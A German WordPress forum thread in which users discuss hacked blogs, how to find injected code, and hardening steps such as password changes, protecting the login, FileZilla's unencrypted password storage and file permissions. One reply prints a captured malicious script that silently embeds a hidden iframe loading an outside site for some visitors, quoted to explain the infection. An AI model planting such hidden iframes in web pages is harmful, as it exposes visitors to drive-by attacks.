Blogs gehackt - Hoster meldet Ok - was nun??

@befla
wo sieht man welche dateien betroffen sind???? hab das sele prob bei meiner tante auf den blog und mir fehlen noch 2 scripts... wenn ich die url dort eingebe sehe ich aber nicht welche datei betroffen ist?

haut mal den quelltext der index und der footer.php hier rein bitte. und schaut mal ob sich nicht in den images eines versteckt was dort nicht hingehört.

... ich kann dir nur raten die wp-login.php zu schützen. die waren nicht auf deinem server, was ja auch dein provider sagt, die waren schlicht und einfach in deinem blog (dashboard) selber und haben da was gemacht.

bei mir war es damals ein codeschnipsel, der auf ein image (png) ging und so wiederrum das script erzeugt wurde. ich habe diesen codeschnipsel entfernt (weiß leider nicht mehr in welcher datei das war) und das eingeschmuggelte image entfernt. seit dem läuft alles stabil.

Zitat von Diamant

Wie schütz ich das am besten?? Nur neues Passwort vergeben oder gibt es noch anderes?
Image auf dem Blog zum nachschauen, oder wo?? Auf dem einen Blog war nämlich noch nix drauf ausser Impressum und so.

da gibts einiges wie man das schützen kann, sowas aber bitte selber nachlesen - findest du sicher leicht.

auf deinem server, da wo dein wp liegt findest du einen image-ordner. da dann nach überflüssigen bildern suchen, die, die nicht zum blog gehören. ist schwierig dir das so zu erklären.

Zitat

... ich kann dir nur raten die wp-login.php zu schützen. die waren nicht auf deinem server, was ja auch dein provider sagt, die waren schlicht und einfach in deinem blog (dashboard) selber und haben da was gemacht.

Wie kommst Du denn da drauf? Das ist die Art von gefährlichem Halbwissen, die niemandem was nützt.

Es gibt in der Tat einen gewissen Anteil von Hackerangriffen, die von einem Account aus andere Accounts auf dem selben Server zum Ziel haben. Der Hoster - falls er gut genug ist, das überhaupt festzustellen - sagt davon natürlich erst einmal gar nichts, denn er müsste ja dann eingestehen, dass er in der Pflicht ist.

Ein Absichern des Admin-Bereichs macht durchaus Sinn, wie das geht, findet man hier oder auch hier.

Werr ein wenig Englisch kann, dme sei auch dieser ausgezeichnete Artikel empfohlen, der auch seither nichts an Aktualität eingebüsst hat. (hier insbesondere den Abschnitt über "script injections" beachten)

Recht wenig bekannt ist, dass eines der am meisten genützten FTP-Clients dazu beiträgt, dass die FTP-Zugangsdaten ziemlich einfach auszuspähen sind: FileZilla speichert Passwörter unverschlüsselt. Daher ist es unbedingt ratsam, (a) FTP Zugangsdaten nicht im Client zu speichern, (b) persönliche Daten am Ende jeder Session zu löschen (unter Bearbeiten). So bequem der Server Manager ist, für mich ist er eine Lücke - mein kleines Notizheft, was ich neben dem Rechner liegen habe, kann kein Programm auslesen, mein FileZilla-Client ist trotz guter Absicherung meiner Umgebung, für mich nicht sicher genug.

Wer sich die Mühe gemacht hat, das obige Skript mal anzuschauen, fragt sich sicher, was denn daran so gefährlich sein soll.

<script>
var url = "http://hotplay24.net";
if ((navigator.userAgent.toLowerCase().indexOf("msie" ) >= 0) || (navigator.userAgent.toLowerCase().indexOf("firefo x") >= 0)){
var f = document.createElement('iframe');
f.setAttribute("width", "1");
f.setAttribute("height", "1");
f.setAttribute("src", url);
f.setAttribute("style", "visibility: hidden; position: absolute; left: 0pt; top: 0pt;");
document.getElementsByTagName("body")[0].appendChild(f);}
</script>

Gefährlich ist die Tatsache, dass das Skript überhaupt da ist. Er hat auch nur die Aufgabe, Sicherheitslücken auszuspähen. Sitzt der Code unentdeckt in der Datei, kann ein anderes Späherprogramm dies feststellen, und wirkliche Schadcodes haben ein "Zuhause" gefunden. Daher müssen nach einem solchen Befall wirklich alle Schadcodes entfernt werden. Ich empfehle meinen Kunden zudem, für einen kurzen Zeitraum alle Dateirechte von befallenen Dateien auf CHMOD 444 zu setzen - nach meinen bisherigen Erfahrungen (über 2 Jahre mit dieser Methode) hat das nie zu Fehlfunktionen in WordPress geführt. Und eine Site, bei der die anzugreifenden Dateien nicht beschreibbar sind, wird für Angreifer uninteressant.

Ach ja, und falls es jemandem nicht klar sein sollte: selbstverständlich sind alle Passwörter zu ändern, nach einem Befall: auch FTP und Hoster-Zugänge. Und ich richte niemals einen Blog ein, bei dem der Admin "admin" heisst, und wo das Tabellenpräfix "wp_" lautet. :) Und falls mal ein Kunde da meckert, wird er schlicht daran erinnert, dass es in seinem Geldbeutel Weh tut, und meinen Geldbautel anwachsen lässt, wenn er auf solch einfache Mittel verzichten will. Hat bisher immer funktioniert. ;)

Ich hoffe, ich konnte etwas Licht ins Dunkle bringen - im Übrigen, nichts von dem, was ich jetzt geschrieben habe, steht zum ersten Mal in diesem Forum. Die SuFu ist Dein Freund - wenn der erste Schreck verflogen ist. ;)

Zitat

Das mit dem wp als Tabellenpräfix versteh ich nur nicht, wo schaut man das nach??

Das ist eine der Angaben, die man in die wp-config.php schreibt beim Aufsetzen des Blogs. Dies nachträglich zu ändern ist allerdings eher eine umständliche Geschichte - und ich habe leider auch kein aktuelles Tut, wovon ich Dir den Link hier reinstellen könnte. Sorry. :(